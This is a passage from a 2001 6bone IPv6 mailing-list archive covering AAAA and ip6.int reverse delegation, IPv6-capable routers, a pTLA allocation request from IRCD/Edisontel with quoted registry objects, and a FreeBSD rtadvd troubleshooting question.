 4  3ffe:b00:c18::57  684.076 ms  687.202 ms  691.625 ms
 5  3ffe:b00:4025::c  689.454 ms  696.799 ms  687.057 ms
$ traceroute6 -n dns1.ipv6.motlabs.com
traceroute to dns1.ipv6.motlabs.com (3ffe:b00:4025::a), 30 hops max, 12
byte packets
 1  3ffe:2900:d:a::2  6.041 ms  2.206 ms  5.433 ms
 2  3ffe:2900:d:a::1  146.159 ms *  138.142 ms
 3  3ffe:b00:c18::e  602.898 ms  608.258 ms  613.11 ms
 4  3ffe:b00:c18::57  734.132 ms  694.415 ms  690.847 ms
 5  3ffe:b00:4025::a  694.506 ms  686.927 ms  686.01 ms

$ telnet 3FFE:B00:4025:0:0:0:0:C 80
Trying 3ffe:b00:4025::c...
Connected to 3FFE:B00:4025:0:0:0:0:C.
Escape character is '^]'.
quit
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
quit to /index.html not supported.<P>
Invalid method in request quit<P>
<HR>
<ADDRESS>Apache/1.3.14 Server at www.ipv6.motlabs.com Port 80</ADDRESS>
</BODY></HTML>
Connection closed by foreign host.



From 6bone-owner  Wed Jan 31 15:50:28 2001
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Subject: RE: Getting IPv6 pointers to my Domain
Date: Wed, 31 Jan 2001 16:50:18 -0700
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From: "Larry D. Hutchison" <LarryH@milarnet.com>
To: "Todd T. Fries" <todd@fries.net>
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Yes, but who at vigianie do I talk to about being an authority.  Like
Network Solutions for my IPv4 host?  Is there an authority to use for
obtaining these?


Regards:

Larry Hutchison
mailto:LarryH@milarnet.com



-----Original Message-----
From: Todd T. Fries [mailto:todd@fries.net]
Sent: Wednesday, January 31, 2001 4:17 PM
To: Larry D. Hutchison
Cc: 6BONE List (E-mail)
Subject: Re: Getting IPv6 pointers to my Domain


aaaa records are like any other delegation zone.  Whoever is authority
for
the zone above you can delegate to you.   Aka I have:

	3ffe:b00:4004::/48

The upstream authority is vigianie, who delegates to me, and thus they
have
in their zone file:

$ORIGIN 0.0.4.0.0.b.0.e.f.f.3.ip6.int.
4	IN	NS	ns0.fries.net.
	IN	NS	ns1.fries.net.

And then I have a zone file '4.0.0.4.0.0.b.0.e.f.f.3.ip6.int' .. inside
of
which I then record the aaaa reverse delegation for all of my hosts.

Hope this helps...

Penned by Larry D. Hutchison on Wed, Jan 31, 2001 at 03:46:13PM -0700,
we have:
| Hello all:
| 
| Just wondering how to go about getting pointers or AAAA Records for my
| domain.  Thanks in advance...
| 
| 
| Regards:
| 
| Larry Hutchison
| mailto:LarryH@milarnet.com
| 
| 



-- 
Todd Fries .. todd@fries.net

From 6bone-owner  Wed Jan 31 19:30:49 2001
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Subject: Re: Getting IPv6 pointers to my Domain
To: LarryH@milarnet.com (Larry D. Hutchison)
Date: Wed, 31 Jan 2001 19:29:21 -0800 (PST)
Cc: todd@fries.net (Todd T. Fries), 6bone@ISI.EDU ("6BONE List (E-mail)")
In-Reply-To: <B7B959528484634FA5C0DFBE6FAB8E34019E3B@belgarion.milarnet.com> from "Larry D. Hutchison" at Jan 31, 2001 04:50:18 PM
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 Talk to whomever delegated you IPv6 addresses. Todds upstream is
 Vigianie. 


% 
% Yes, but who at vigianie do I talk to about being an authority.  Like
% Network Solutions for my IPv4 host?  Is there an authority to use for
% obtaining these?
% 
% 
% Regards:
% 
% Larry Hutchison
% -----Original Message-----
% From: Todd T. Fries [mailto:todd@fries.net]
% Subject: Re: Getting IPv6 pointers to my Domain
% 
% aaaa records are like any other delegation zone.  Whoever is authority
% for
% the zone above you can delegate to you.   Aka I have:
% 
% 	3ffe:b00:4004::/48
% 
% The upstream authority is vigianie, who delegates to me, and thus they
% have
% in their zone file:
% 
% $ORIGIN 0.0.4.0.0.b.0.e.f.f.3.ip6.int.
% 4	IN	NS	ns0.fries.net.
% 	IN	NS	ns1.fries.net.
% 
% And then I have a zone file '4.0.0.4.0.0.b.0.e.f.f.3.ip6.int' .. inside
% of
% which I then record the aaaa reverse delegation for all of my hosts.
% 
% Hope this helps...
% 
% Penned by Larry D. Hutchison on Wed, Jan 31, 2001 at 03:46:13PM -0700,
% we have:
% | Hello all:
% | 
% | Just wondering how to go about getting pointers or AAAA Records for my
% | domain.  Thanks in advance...
% | 
% | 
% | Regards:
% | 
% | Larry Hutchison
% | mailto:LarryH@milarnet.com
% | 
% | 
% 
% 
% 
% -- 
% Todd Fries .. todd@fries.net
% 


-- 
--bill

From 6bone-owner  Mon Feb  5 18:22:16 2001
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Date: Tue, 6 Feb 2001 10:28:26 +0800
From: ÂÀµÂÐñ <ludx@gsut.edu.cn>
Reply-To: ludx@gsut.edu.cn
To: "6bone@isi.edu" <6bone@ISI.EDU>
Subject: Which kind router can support ipv6?
Organization: Gansu University of Technology NIC     tel:(0931£­2757939)
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I want buy a IPv6 router .Who can tell me which kind router can support ipv6 and which is better.

rex.lv


From 6bone-owner  Mon Feb  5 22:48:11 2001
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Cc: "6bone@isi.edu" <6bone@ISI.EDU>
References: <200102060222.f162M4U09221@tnt.isi.edu>
Subject: Re: Which kind router can support ipv6?
Date: Tue, 6 Feb 2001 14:49:06 +0800
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hi.
It seems that there is no router really hardware-based 
support IPv6 yet, most of them are software-based support.

You can use the pc-based router for substitute, but if 
you would use some special interface, especially WAN interface,
like ATM, POS, T1, etc, maybe you have to buy a router,
there is lots of router available, which allege they can 
support ipv6, like Cisco, Hitachi, NEC, Nokia,etc.
I use the Cisco7507 now, it works well, but can not support 
large traffic cause of software-based.
Pls see the URL for detail.
http://playground.sun.com/pub/ipng/html/ipng-implementations.html

Best Regards.
_________________________________________________
    Hua Ning
    Chief Engineer
    BII Group Holdings Ltd(Beijing Internet-networking Institute),
    110E 11F China Merchants Tower,
    No.2 Dong Huan Nan Lu, Chao Yang District,
    Beijing,China
    Zip Code: 100022
    Tel:+86-10-65660290-223
    Fax:+86-10-65660297
_________________________________________________

> I want buy a IPv6 router .Who can tell me which kind router can support ipv6 and which is better.
> 
> rex.lv
> 
> 

From 6bone-owner  Tue Feb  6 01:39:26 2001
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Date: Tue, 6 Feb 2001 10:39:10 +0100 (CET)
From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Subject: Re: Which kind router can support ipv6?
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Greetings,

On Tue, 6 Feb 2001, ÂÀµÂÐñ wrote:
> I want buy a IPv6 router .Who can tell me which kind router can support
> ipv6 and which is better.
You don not have a buy a new router for IPv6.

It is better to -either- take an 'old' cisco (spare stock, like a 25xx or
something) and install one of the 'ipv6 development' images on it, or
-better- get hold of a old re-use PC (pentium-something or even 486), and
install FreeBSD, netBSD, OpenBSD or linux on it; together with 'zebra'
(http://www.zebra.org/).

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122


From 6bone-owner  Wed Feb  7 01:09:08 2001
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Date: Wed, 07 Feb 2001 10:06:34 +0100
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: RE: pTLA request for IRCD - review closes 12 Feb 01
To: "'6bone'" <6bone@ISI.EDU>
Cc: "'Bob Fink'" <fink@es.net>
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Hi all,

I fully agree to assign a pTLA to IRCD and Edisontel, and CSELT will work 
with them to make some BGP4+ tests and operations to overcome the lack
of expertise they have in this field.

But reading their pTLA request I noticed a couple of statements I would like
to clarify.

The pTLA request should not be motivated by the start of IPv6 activities
within
MIX (Milan Internet Exchange). If MIX will go to experiment IPv6, MIX s.r.l.
(the
company that manages the exchange) should better ask a pTLA on its own,
following the example of other Internet Exchanges in Europe and US.

MIX has several Italian ISPs as members. It is not correct to say that
Edisontel is the only MIX member to have more than 3 months of experience 
within the 6Bone. In fact, among the other members, Telecom Italia (through
CSELT)
has a 4 year experience on the 6Bone and is starting a field trial based on
a
recently assigned production subTLA.

Bye,
--Ivano


> ----------
> From: 	Bob Fink[SMTP:fink@es.net]
> Sent: 	lunedì 29 gennaio 2001 18.34
> To: 	6BONE List
> Subject: 	pTLA request for IRCD - review closes 12 Feb 01
> 
> 6bone Folk,
> 
> IRCD has requested a pTLA allocation on behalf of Edisontel in Italy. The 
> open review period for this will close 12 Feb 2001. Please send any 
> comments to me or the list.
> 
> 
> Thanks,
> 
> Bob
> 
> ======================================
> >Date: Sun, 28 Jan 2001 16:36:15 +0100 (CET)
> >From: Max Gargani <slash@ircd.it>
> >To: Bob Fink <fink@es.net>
> >Subject: Re: pTLA request
> >
> >7. Guidelines for 6Bone pTLA sites
> >
> >    The following rules apply to qualify for a 6Bone pTLA allocation. It
> >    should be recognized that holders of 6Bone pTLA allocations are
> >    expected to provide production quality backbone network services for
> >    the 6Bone.
> >
> >    1. The pTLA Applicant must have a minimum of three (3) months
> >       qualifying experience as a 6Bone end-site or pNLA transit.
> During
> >       the entire qualifying period the Applicant must be operationally
> >       providing the following:
> >
> >       a. Fully maintained, up to date, 6Bone Registry entries for their
> >          ipv6-site inet6num, mntner, and person objects, including each
> >          tunnel that the Applicant has.
> >
> >We have a fully maintained entry on 6Bone database:
> >ipv6-site:    IRCD
> >origin:       AS5609
> >descr:        IRCd Italia
> >country:      IT
> >prefix:       3FFE:1001:200::/44
> >application:  ping ping.ipv6.ircd.it
> >application:  irc irc6.ircd.it
> >application:  www www.ipv6.ircd.it
> >tunnel:       IPv6 in IPv4 c7505-v6.ircd.it -> 6bone-gw3.ipv6.cselt.it
> >CSELT STA
> >TIC
> >tunnel:       IPv6 in IPv4 c7505-v6.ircd.it -> route.ipv6.tobit.com TOBIT
> >STATIC
> >tunnel:       IPv6 in IPv4 c7505-v6.ircd.it ->
> >exchange4-e0.ltn.panservice.it PA
> >NSERVICE STATIC
> >tunnel:       IPv6 in IPv4 c7505-v6.ircd.it -> rap.viagenie.qc.ca
> VIAGENIE
> >STATI
> >C
> >contact:      MAX1-6BONE
> >remarks:      ipv6-site is operational since March 2000
> >               Tunnel Broker Available
> >remarks:      This object is automatically converted from the RIPE181
> >registry
> >url:
> >mnt-by:       IRCD-MNT
> >changed:      max@ipng.it 20000321
> >changed:      max@ipng.it 20000618
> >changed:      max@ipng.it 20000918
> >changed:      auto-dbm@whois.6bone.net 20010117
> >source:       6BONE
> >
> >person:       Massimiliano Gargani
> >address:      Edisontel S.p.A.
> >               Foro Buonaparte, 31
> >               I-20121 MILANO
> >               Italy
> >phone:        +39 02 6222.1
> >fax-no:       +39 02 6222.8006
> >e-mail:       max@ipng.it
> >nic-hdl:      MAX1-6BONE
> >remarks:      This object is automatically converted from the RIPE181
> >registry
> >notify:       max@ipng.it
> >changed:      max@ipng.it 20000718
> >changed:      auto-dbm@whois.6bone.net 20010117
> >source:       6BONE
> >
> >person:       Sergio Chiesa
> >address:      Edisontel S.p.A.
> >               Foro Buonaparte, 31
> >               I-20121 MILANO
> >               Italy
> >phone:        +39 02 6222.1
> >fax-no:       +39 02 6222.8006
> >e-mail:       s.chiesa@ipng.it
> >nic-hdl:      SC2-6BONE
> >remarks:      This object is automatically converted from the RIPE181
> >registry
> >changed:      s.chiesa@ipng.it 20000717
> >changed:      auto-dbm@whois.6bone.net 20010117
> >source:       6BONE
> >
> >person:       Andrea Colangelo
> >address:      Edisontel S.p.A.
> >               Foro Buonaparte, 31
> >               I-20121 MILANO
> >               Italy
> >phone:        +39 02 6222.1
> >fax-no:       +39 02 6222.8006
> >e-mail:       a.colangelo@ipng.it
> >nic-hdl:      AC1-6BONE
> >remarks:      This object is automatically converted from the RIPE181
> >registry
> >changed:      a.colangelo@ipng.it 20000717
> >changed:      auto-dbm@whois.6bone.net 20010117
> >source:       6BONE
> >
> >
> >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >          between the Applicant's boundary router and the appropriate
> >          connection point into the 6Bone. This router must be IPv6
> >          pingable. This criteria is judged by members of the 6Bone
> >          Operations Group at the time of the Applicant's pTLA request.
> >
> >I haven't any IPv6 BGP peers because my address is part of CSELT address
> >space and I can't annouce it to anyone.
> >Anyway I have severals IPv4 BGP peers. You can check on RIPE database for
> >AS15589
> >
> >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >          entries for the Applicant's router(s) and at least one host
> >          system.
> >
> >Our DNS is ready for AAAA and ip6.int. Is autoritative for
> >3ffe:1001:200::/44
> >
> >You can check on ns.irc6.org
> >
> >       d. A fully maintained, and reliable, IPv6-accessible system
> >          providing, at a mimimum, one or more web pages, describing the
> >          Applicant's IPv6 services.  This server must be IPv6 pingable.
> >
> >You can check www.ipv6.ircd.it (IPv6 only). On that site is described all
> >what I did with IPv6
> >
> >I can't grant the reachbility of the sity because in the last week I've
> >noticed
> >a great unstability of CSELT IPv6 network
> >
> >    2. The pTLA Applicant MUST have the ability and intent to provide
> >       "production-quality" 6Bone backbone service. Applicants must
> >       provide a statement and information in support of this claim.
> >       This MUST include the following:
> >
> >       a. A support staff of two persons minimum, three preferable, with
> >          person attributes registered for each in the ipv6-site object
> >          for the pTLA applicant.
> >
> >The our ipv6 staff is composed by:
> >
> >Max Gargani (me) MAX1-6bone
> >Sergio Chiesa SC2-6bone
> >Andrea Colangelo AC1-6bone
> >       b. A common mailbox for support contact purposes that all support
> >          staff have acess to, pointed to with a notify attribute in the
> >          ipv6-site object for the pTLA Applicant.
> >
> >The common e-mail address is ipv6@ipng.it
> >
> >    3. The pTLA Applicant MUST have a potential "user community" that
> >       would be served by its becoming a pTLA, e.g., the Applicant is a
> >       major provider of Internet service in a region, country, or focus
> >       of interest. Applicant must provide a statement and information in
> >       support this claim.
> >
> >Edisontel (the company I rappresent in this request) is a Telco and ISP
> >here in
> >Italy.
> >The pTLA will serve all other our peers in Milan Internet Exchange N.A.P.
> >
> >At the MIX we have created an IPv6 working group, and because I'm the
> only
> >to have at least 3 month on 6Bone, I'm asking for pTLA
> >All other peers are the major ISP here in Italy:
> >
> >At the working group will partecipate Edisontel, Telecom Italia,
> >Infostrada,
> >Cable & Wireless Italy, Blixer, I.Net and many others
> >
> >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >       operational rules and policies as they exist at time of its
> >       application, and agree to abide by future 6Bone backbone
> >       operational rules and policies as they evolve by consensus of the
> >       6Bone backbone and user community.
> >
> >    When an Applicant seeks to receive a pTLA allocation, it will apply
> >    to the 6Bone Operations Group (see section 8 below) by providing to
> >    the Group information in support of its claims that it meets the
> >    criteria above.
> >
> >We agree to the present and future 6Bone policies and the pTLA will be
> >used
> >only for experimental purpose
> >
> >
> >8. 6Bone Operations Group
> >
> >    The 6Bone Operations Group is the group in charge of monitoring and
> >    policing adherence to the current rules. Membership in the 6Bone
> >    Operations Group is mandatory for, and restricted to, sites connected
> >    to the 6Bone.
> >
> >    The 6Bone Operations Group is currently defined by those members of
> >    the existing 6Bone mailing list who represent sites participating in
> >    the 6Bone. Therefore it is incumbent on relevant site contacts to
> >    join the 6Bone mailing list. Instructions on how to join the list are
> >    maintained on the 6Bone web site at < http://www.6bone.net>.
> >
> >We are already subscribed on the 6bone IPv6 mailing-list
> >
> >Regards,
> >
> >.. Massimiliano Gargani
> >.. Access/Network Engineer
> >.. EdisonTel S.p.A. - Italy
> >
> >On Mon, 22 Jan 2001, Bob Fink wrote:
> >
> > > Max,
> > >
> > > You need to respond to the pTLA request form available from the 6bone
> home
> > > page:
> > >
> > > <http://www.6bone.net/6bone_pTLA_rqst.html>
> > >
> > >
> > > I would specifically call your attention to the BGP4+ and the
> community of
> > > users requirements. However, please review all questions and answer
> them as
> > > asked.
> > >
> > >
> > > Thanks,
> > >
> > > Bob
> > >
> > > ===============================================
> > > At 05:24 PM 1/19/2001 +0100, Max Gargani wrote:
> > > >Hi,
> > > >
> > > >I have a v6 lab in Italy connected through CSELT. I have the address
> space
> > > >3ffe:1001:200::/44 and I'm experimenting in IPv6 since march 2000.
> > > >
> > > >I have several static tunnel around the world, an IPv6 IRC server
> linked
> > > >to IRCnet (the largest IRC net in europe), a tunnel broker service
> for
> > > >dynamic IP users. Web and FTP (ipv6/ipv4).
> > > >
> > > >You can obtain my details quering the 6bone database.
> > > >
> > > >My nic-handle is MAX1-6BONE
> > > >the ipv6-site is IRCD
> > > >
> > > >I'm asking to become pTLA. I have severals peering IPv4 in twn
> italian
> > > >N.A.P. in Milan and Rome.
> > > >
> > > >My DNS is ready for AAAA and ip6.int and is autoritative for prefix
> > > >3ffe:1001:200::/44
> > > >
> > > >The other 2 person who are working with me at IPv6 development are:
> > > >
> > > >Sergio Chiesa (SC2-6BONE)
> > > >Andrea Colangelo (AC1-6BONE)
> > > >
> > > >the common e-mail address is ipv6@ipng.it
> > > >
> > > >The pTLA will part of an IPv6 working group to which take parte most
> of
> > > >the Milan Internet Exchange peers.
> > > >
> > > >I used IRCD as ipv6-site because I start IPv6 experimentation with
> IRC
> > > >servers and so I preferred register it for Italian IRC community, but
> now
> > > >I request the pTLA as Edisontel S.p.A. (ASn 15589 network:
> 62.94.0.0/16)
> > > >
> > > >I hope this is enough to become pTLA.
> > > >
> > > >Let me know.
> > > >
> > > >TIA,
> > > >
> > > >.. Massimiliano Gargani
> > > >.. Access/Network Engineer
> > > >.. EdisonTel S.p.A. - Italy
> > >
> > >
> 
> 

From 6bone-owner  Wed Feb  7 09:52:31 2001
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Date: Wed, 07 Feb 2001 09:52:11 -0800
To: Guardini Ivano <Ivano.Guardini@CSELT.IT>, "'6bone'" <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: RE: pTLA request for IRCD - review closes 12 Feb 01
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Ivano,

Max Gargani has made this point to me to clarify this as well.


Thanks,

Bob

At 10:06 AM 2/7/2001 +0100, Guardini Ivano wrote:
>Hi all,
>
>I fully agree to assign a pTLA to IRCD and Edisontel, and CSELT will work
>with them to make some BGP4+ tests and operations to overcome the lack
>of expertise they have in this field.
>
>But reading their pTLA request I noticed a couple of statements I would like
>to clarify.
>
>The pTLA request should not be motivated by the start of IPv6 activities
>within
>MIX (Milan Internet Exchange). If MIX will go to experiment IPv6, MIX s.r.l.
>(the
>company that manages the exchange) should better ask a pTLA on its own,
>following the example of other Internet Exchanges in Europe and US.
>
>MIX has several Italian ISPs as members. It is not correct to say that
>Edisontel is the only MIX member to have more than 3 months of experience
>within the 6Bone. In fact, among the other members, Telecom Italia (through
>CSELT)
>has a 4 year experience on the 6Bone and is starting a field trial based on
>a
>recently assigned production subTLA.
>
>Bye,
>--Ivano
>
>
> > ----------
> > From:         Bob Fink[SMTP:fink@es.net]
> > Sent:         lunedì 29 gennaio 2001 18.34
> > To:   6BONE List
> > Subject:      pTLA request for IRCD - review closes 12 Feb 01
> >
> > 6bone Folk,
> >
> > IRCD has requested a pTLA allocation on behalf of Edisontel in Italy. The
> > open review period for this will close 12 Feb 2001. Please send any
> > comments to me or the list.
> >
> >
> > Thanks,
> >
> > Bob
> >
> > ======================================
> > >Date: Sun, 28 Jan 2001 16:36:15 +0100 (CET)
> > >From: Max Gargani <slash@ircd.it>
> > >To: Bob Fink <fink@es.net>
> > >Subject: Re: pTLA request
> > >
> > >7. Guidelines for 6Bone pTLA sites
> > >
> > >    The following rules apply to qualify for a 6Bone pTLA allocation. It
> > >    should be recognized that holders of 6Bone pTLA allocations are
> > >    expected to provide production quality backbone network services for
> > >    the 6Bone.
> > >
> > >    1. The pTLA Applicant must have a minimum of three (3) months
> > >       qualifying experience as a 6Bone end-site or pNLA transit.
> > During
> > >       the entire qualifying period the Applicant must be operationally
> > >       providing the following:
> > >
> > >       a. Fully maintained, up to date, 6Bone Registry entries for their
> > >          ipv6-site inet6num, mntner, and person objects, including each
> > >          tunnel that the Applicant has.
> > >
> > >We have a fully maintained entry on 6Bone database:
> > >ipv6-site:    IRCD
> > >origin:       AS5609
> > >descr:        IRCd Italia
> > >country:      IT
> > >prefix:       3FFE:1001:200::/44
> > >application:  ping ping.ipv6.ircd.it
> > >application:  irc irc6.ircd.it
> > >application:  www www.ipv6.ircd.it
> > >tunnel:       IPv6 in IPv4 c7505-v6.ircd.it -> 6bone-gw3.ipv6.cselt.it
> > >CSELT STA
> > >TIC
> > >tunnel:       IPv6 in IPv4 c7505-v6.ircd.it -> route.ipv6.tobit.com TOBIT
> > >STATIC
> > >tunnel:       IPv6 in IPv4 c7505-v6.ircd.it ->
> > >exchange4-e0.ltn.panservice.it PA
> > >NSERVICE STATIC
> > >tunnel:       IPv6 in IPv4 c7505-v6.ircd.it -> rap.viagenie.qc.ca
> > VIAGENIE
> > >STATI
> > >C
> > >contact:      MAX1-6BONE
> > >remarks:      ipv6-site is operational since March 2000
> > >               Tunnel Broker Available
> > >remarks:      This object is automatically converted from the RIPE181
> > >registry
> > >url:
> > >mnt-by:       IRCD-MNT
> > >changed:      max@ipng.it 20000321
> > >changed:      max@ipng.it 20000618
> > >changed:      max@ipng.it 20000918
> > >changed:      auto-dbm@whois.6bone.net 20010117
> > >source:       6BONE
> > >
> > >person:       Massimiliano Gargani
> > >address:      Edisontel S.p.A.
> > >               Foro Buonaparte, 31
> > >               I-20121 MILANO
> > >               Italy
> > >phone:        +39 02 6222.1
> > >fax-no:       +39 02 6222.8006
> > >e-mail:       max@ipng.it
> > >nic-hdl:      MAX1-6BONE
> > >remarks:      This object is automatically converted from the RIPE181
> > >registry
> > >notify:       max@ipng.it
> > >changed:      max@ipng.it 20000718
> > >changed:      auto-dbm@whois.6bone.net 20010117
> > >source:       6BONE
> > >
> > >person:       Sergio Chiesa
> > >address:      Edisontel S.p.A.
> > >               Foro Buonaparte, 31
> > >               I-20121 MILANO
> > >               Italy
> > >phone:        +39 02 6222.1
> > >fax-no:       +39 02 6222.8006
> > >e-mail:       s.chiesa@ipng.it
> > >nic-hdl:      SC2-6BONE
> > >remarks:      This object is automatically converted from the RIPE181
> > >registry
> > >changed:      s.chiesa@ipng.it 20000717
> > >changed:      auto-dbm@whois.6bone.net 20010117
> > >source:       6BONE
> > >
> > >person:       Andrea Colangelo
> > >address:      Edisontel S.p.A.
> > >               Foro Buonaparte, 31
> > >               I-20121 MILANO
> > >               Italy
> > >phone:        +39 02 6222.1
> > >fax-no:       +39 02 6222.8006
> > >e-mail:       a.colangelo@ipng.it
> > >nic-hdl:      AC1-6BONE
> > >remarks:      This object is automatically converted from the RIPE181
> > >registry
> > >changed:      a.colangelo@ipng.it 20000717
> > >changed:      auto-dbm@whois.6bone.net 20010117
> > >source:       6BONE
> > >
> > >
> > >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> > >          between the Applicant's boundary router and the appropriate
> > >          connection point into the 6Bone. This router must be IPv6
> > >          pingable. This criteria is judged by members of the 6Bone
> > >          Operations Group at the time of the Applicant's pTLA request.
> > >
> > >I haven't any IPv6 BGP peers because my address is part of CSELT address
> > >space and I can't annouce it to anyone.
> > >Anyway I have severals IPv4 BGP peers. You can check on RIPE database for
> > >AS15589
> > >
> > >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> > >          entries for the Applicant's router(s) and at least one host
> > >          system.
> > >
> > >Our DNS is ready for AAAA and ip6.int. Is autoritative for
> > >3ffe:1001:200::/44
> > >
> > >You can check on ns.irc6.org
> > >
> > >       d. A fully maintained, and reliable, IPv6-accessible system
> > >          providing, at a mimimum, one or more web pages, describing the
> > >          Applicant's IPv6 services.  This server must be IPv6 pingable.
> > >
> > >You can check www.ipv6.ircd.it (IPv6 only). On that site is described all
> > >what I did with IPv6
> > >
> > >I can't grant the reachbility of the sity because in the last week I've
> > >noticed
> > >a great unstability of CSELT IPv6 network
> > >
> > >    2. The pTLA Applicant MUST have the ability and intent to provide
> > >       "production-quality" 6Bone backbone service. Applicants must
> > >       provide a statement and information in support of this claim.
> > >       This MUST include the following:
> > >
> > >       a. A support staff of two persons minimum, three preferable, with
> > >          person attributes registered for each in the ipv6-site object
> > >          for the pTLA applicant.
> > >
> > >The our ipv6 staff is composed by:
> > >
> > >Max Gargani (me) MAX1-6bone
> > >Sergio Chiesa SC2-6bone
> > >Andrea Colangelo AC1-6bone
> > >       b. A common mailbox for support contact purposes that all support
> > >          staff have acess to, pointed to with a notify attribute in the
> > >          ipv6-site object for the pTLA Applicant.
> > >
> > >The common e-mail address is ipv6@ipng.it
> > >
> > >    3. The pTLA Applicant MUST have a potential "user community" that
> > >       would be served by its becoming a pTLA, e.g., the Applicant is a
> > >       major provider of Internet service in a region, country, or focus
> > >       of interest. Applicant must provide a statement and information in
> > >       support this claim.
> > >
> > >Edisontel (the company I rappresent in this request) is a Telco and ISP
> > >here in
> > >Italy.
> > >The pTLA will serve all other our peers in Milan Internet Exchange N.A.P.
> > >
> > >At the MIX we have created an IPv6 working group, and because I'm the
> > only
> > >to have at least 3 month on 6Bone, I'm asking for pTLA
> > >All other peers are the major ISP here in Italy:
> > >
> > >At the working group will partecipate Edisontel, Telecom Italia,
> > >Infostrada,
> > >Cable & Wireless Italy, Blixer, I.Net and many others
> > >
> > >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> > >       operational rules and policies as they exist at time of its
> > >       application, and agree to abide by future 6Bone backbone
> > >       operational rules and policies as they evolve by consensus of the
> > >       6Bone backbone and user community.
> > >
> > >    When an Applicant seeks to receive a pTLA allocation, it will apply
> > >    to the 6Bone Operations Group (see section 8 below) by providing to
> > >    the Group information in support of its claims that it meets the
> > >    criteria above.
> > >
> > >We agree to the present and future 6Bone policies and the pTLA will be
> > >used
> > >only for experimental purpose
> > >
> > >
> > >8. 6Bone Operations Group
> > >
> > >    The 6Bone Operations Group is the group in charge of monitoring and
> > >    policing adherence to the current rules. Membership in the 6Bone
> > >    Operations Group is mandatory for, and restricted to, sites connected
> > >    to the 6Bone.
> > >
> > >    The 6Bone Operations Group is currently defined by those members of
> > >    the existing 6Bone mailing list who represent sites participating in
> > >    the 6Bone. Therefore it is incumbent on relevant site contacts to
> > >    join the 6Bone mailing list. Instructions on how to join the list are
> > >    maintained on the 6Bone web site at < http://www.6bone.net>.
> > >
> > >We are already subscribed on the 6bone IPv6 mailing-list
> > >
> > >Regards,
> > >
> > >.. Massimiliano Gargani
> > >.. Access/Network Engineer
> > >.. EdisonTel S.p.A. - Italy
> > >
> > >On Mon, 22 Jan 2001, Bob Fink wrote:
> > >
> > > > Max,
> > > >
> > > > You need to respond to the pTLA request form available from the 6bone
> > home
> > > > page:
> > > >
> > > > <http://www.6bone.net/6bone_pTLA_rqst.html>
> > > >
> > > >
> > > > I would specifically call your attention to the BGP4+ and the
> > community of
> > > > users requirements. However, please review all questions and answer
> > them as
> > > > asked.
> > > >
> > > >
> > > > Thanks,
> > > >
> > > > Bob
> > > >
> > > > ===============================================
> > > > At 05:24 PM 1/19/2001 +0100, Max Gargani wrote:
> > > > >Hi,
> > > > >
> > > > >I have a v6 lab in Italy connected through CSELT. I have the address
> > space
> > > > >3ffe:1001:200::/44 and I'm experimenting in IPv6 since march 2000.
> > > > >
> > > > >I have several static tunnel around the world, an IPv6 IRC server
> > linked
> > > > >to IRCnet (the largest IRC net in europe), a tunnel broker service
> > for
> > > > >dynamic IP users. Web and FTP (ipv6/ipv4).
> > > > >
> > > > >You can obtain my details quering the 6bone database.
> > > > >
> > > > >My nic-handle is MAX1-6BONE
> > > > >the ipv6-site is IRCD
> > > > >
> > > > >I'm asking to become pTLA. I have severals peering IPv4 in twn
> > italian
> > > > >N.A.P. in Milan and Rome.
> > > > >
> > > > >My DNS is ready for AAAA and ip6.int and is autoritative for prefix
> > > > >3ffe:1001:200::/44
> > > > >
> > > > >The other 2 person who are working with me at IPv6 development are:
> > > > >
> > > > >Sergio Chiesa (SC2-6BONE)
> > > > >Andrea Colangelo (AC1-6BONE)
> > > > >
> > > > >the common e-mail address is ipv6@ipng.it
> > > > >
> > > > >The pTLA will part of an IPv6 working group to which take parte most
> > of
> > > > >the Milan Internet Exchange peers.
> > > > >
> > > > >I used IRCD as ipv6-site because I start IPv6 experimentation with
> > IRC
> > > > >servers and so I preferred register it for Italian IRC community, but
> > now
> > > > >I request the pTLA as Edisontel S.p.A. (ASn 15589 network:
> > 62.94.0.0/16)
> > > > >
> > > > >I hope this is enough to become pTLA.
> > > > >
> > > > >Let me know.
> > > > >
> > > > >TIA,
> > > > >
> > > > >.. Massimiliano Gargani
> > > > >.. Access/Network Engineer
> > > > >.. EdisonTel S.p.A. - Italy
> > > >
> > > >
> >
> >


From 6bone-owner  Wed Feb  7 19:53:06 2001
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From: "oyk" <oycavalry@china.com>
To: <6bone@ISI.EDU>
Subject: What's wrong with my freebsd?
Date: Thu, 8 Feb 2001 11:56:25 +0800
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Hi, everyone:
  My router is FreeBSD4.2, and my OS is Win2k. I can ping6 www.6bone.net =
from my router, and ping6 my router from my computer; but I cann't ping6 =
www.6bone.net from my computer. What's wrong with them?
  I look into my messages in FreeBSD, I found the following =
information:(tail /var/log/messages)
Feb  8 11:20:24 Aria rtadvd[283]: <ra_output> sendmsg on gif2: Network =
is down
Feb  8 11:22:00 Aria rtadvd[283]: <ra_output> sendmsg on gif1: Network =
is down
Feb  8 11:25:13 Aria rtadvd[283]: <ra_output> sendmsg on gif3: Network =
is down
Feb  8 11:28:31 Aria rtadvd[283]: <ra_output> sendmsg on gif2: Network =
is down
Feb  8 11:30:38 Aria rtadvd[283]: <ra_output> sendmsg on gif1: Network =
is down
Feb  8 11:34:40 Aria rtadvd[283]: <ra_output> sendmsg on gif3: Network =
is down
Feb  8 11:35:40 Aria rtadvd[283]: <ra_output> sendmsg on gif2: Network =
is down
Feb  8 11:36:13 Aria rtadvd[283]: <ra_output> sendmsg on gif1: Network =
is down
Anyone know what occur these fault? How should I deal with them ?
   Thank you !

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</HEAD>
<BODY bgColor=3D#ffffff>
